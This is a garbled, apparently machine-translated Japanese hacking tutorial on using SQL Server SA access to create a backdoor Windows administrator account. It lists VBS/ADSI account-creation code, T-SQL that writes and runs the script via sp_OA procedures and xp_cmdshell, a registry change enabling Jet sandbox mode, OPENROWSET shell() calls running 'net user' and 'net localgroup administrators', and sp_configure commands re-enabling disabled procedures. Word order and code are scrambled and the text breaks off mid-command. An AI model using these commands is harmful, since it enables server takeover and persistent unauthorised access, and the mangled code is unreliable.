サーバー管理者は、または"以前の"net.exeはがよくため、net1.exe管理者アカウントを使うことができるSAがアクセスに追加することはできませんパスワード。我々は、Active Directory(ADSI)をwinntのオブジェクトの一部で、VBSは、ローカルリソースを管理するために使用すると、知っているそれを使用してCMDのコマンドで管理者に、特定のコードを追加することができます頼ることはできません次:
=のCreateObject(wsnetworkを設定する"WSCRIPT.NETWORK")
骨="WinNTの://"&のwsnetwork.ComputerName
設定オプ= GetObject関数(OSが)'、バインドのADSIインターフェイスを取得
設定大江= GetObject関数(骨&"/管理、グループ")'プロパティは、管理者グループ
を設定=("ユーザ"、"テスト")は、ユーザを作成する'ob.Create外径
od.SetPassword"1234"'パスワードの設定
od.SetInfoを保存
セットの= GetObject関数(骨&"/テスト"は、ユーザー)ユーザーを取得する'
oe.add骨&"/ test"を
システムは、システムテストと呼ばれる、ユーザーのパスワードが追加されますので、上記のコードし、"します。cscript 1.vbs"のコマンドを実行1.vbsを保存し、1234です。クエリアナライザのコードの特定の実装は以下のとおり:
@ @ fは、@ @のRET intをtのintをint型はO int型を宣言する
幹部れたsp'Scripting.FileSystemObjectの'、@オアウト
幹部sp_OAMethodに@オ、'createtextfile'、@ fのうち、'はc:1.vbs'、1
execは@ ret = @、'fは、'WriteLineメソッドを'、NULLをsp_OAMethodに= CreateObjectをwsnetworkを設定する
("WSCRIPT.NETWORK")'
execは@ ret = @ fは、'WriteLineメソッドを'、NULLを、'sp_OAMethodに="WinNTの://"&のwsnetworkのOS。
ComputerNameは'
execは@ ret = @'= GetObject関数(OSの設定オプ)は、'f、'WriteLineメソッドを'、NULLをsp_OAMethodに
execは@ ret = @'を設定oeを= GetObject関数fは、'WriteLineメソッドを'、NULLをsp_OAMethodに
(Oは&"/管理、グループ")'
execは@ ret = @ fは、'WriteLineメソッドを'、NULLをsp_OAMethodに、'を設定= ob.Create外径
("ユーザー"、"テスト")'
execは@ ret = @'od.SetPassword fは、'WriteLineメソッドを'、NULLをsp_OAMethodに"1234"'
execは@ ret = @'fは、'WriteLineメソッドを'、NULLを、'od.SetInfo sp_OAMethodに
execは@ ret = @'の= GetObject関数セットをf、'WriteLineメソッドを'、NULLをsp_OAMethodに
(Oは&"/テスト"は、ユーザー)'
execは@ ret = @、'fは、'WriteLineメソッドを'、NULLをsp_OAMethodにOSを&oe.add"/ test"を'
上記のステートメントによって、コードの次の行を実行すると、この行は、一緒に上記の実装を実装しない区切る必要があります、それ以外の場合要求されます"はc:1.vbsは別のプログラム"が正常にユーザを追加できませんで実行される:
execをマスタ.. xp_cmdshellを'します。cscriptはc:1.vbs'
システムのユーザーが正常に追加されていない場合は、システムのユーザのパスワードは1234あまりにも単純であるため、それは、複雑なパスワードのポリシーサーバを満たしていない可能性があります、より複雑な設定を考慮してテストします。また、1.vbsコードを、コードのフォーマットの書き込みにエコーを使用することができます:
execをマスタ.. xp_cmdshellを'エコー= CreateObjectを(wsnetworkを設定する"WSCRIPT.NETWORK")
1.vbs'
しかし、なぜコマンドラインのすべてが"&"の文字が、友人が解決しようとすることができるものに興味を持っ1.vbsを書くことができないのか分からない。
使用してジェットの砂の表のモデルは、xp_cmdshellを他のストアドプロシージャおよび関連するダイナミックリンクライブラリ不快感を解決することができます。セキュリティ上の理由については、システムがオープンサンドボックスモードをxp_regwrite必要サンドボックスモードを開き、デフォルトしない:
Execのmaster.dbo.xp_regwrite'します。HKEY_LOCAL_MACHINE'、'SOFTWAREMicrosoftJet4.0
エンジン'、'SandBoxModeは'、''、1 REG_DWORDを
その後、砂のテーブルコマンドを実行すると、システムはユーザーテストの名前を追加、1234ユーザーのパスワード:
を選択してバックアップのbin confの設定データeshow_sitemap.html generate.shは('microsoft.jet.oledb.4.0を'OPENROWSET関数からメイントsitemap.htmlのsvn tmpをログインすると、';データベース= C:はWindows
system32iasias.mdb'、'を選択してシェル("/ cのネットユーザーがテストは1234は/")'追加cmd.exe)を
を選択してバックアップのbin confの設定データeshow_sitemap.html generate.shは('microsoft.jet.oledb.4.0を'OPENROWSET関数からメイントsitemap.htmlのsvn tmpをログインすると、';データベース= C:はWindows
system32iasias.mdb'、'を選択してシェルが("cmd.exeを/ cのネットlocalgroup
管理者は、テスト/追加")')
別のオペレーティングシステムでは、パスは同じ必要な状況に変更を加えることはできません:
NT/2K:はc:winntsystem32
XP/2003では:はc:windowssystem32
別のMicrosoft SQL Server2005のデフォルトでは、いくつかのストアドプロシージャの閉じて、コマンドを開こうとする必要があります:
オープンxp_cmdshellを:
イネーブルは、高度なオプションが'、1;を再構成。EXECはsp_configureを表示'、sp_configureスト
'xp_cmdshellを'、1;再構成。
オープン'OPENROWSET関数':
execは表示'、sp_configureの高度なオプション'、1;再;幹部sp_configureの
'アドホック分散クエリが'、1;再構成。
オープン'れたsp':
execは表示'、sp_configureの高度なオプション'、1;再;幹部菌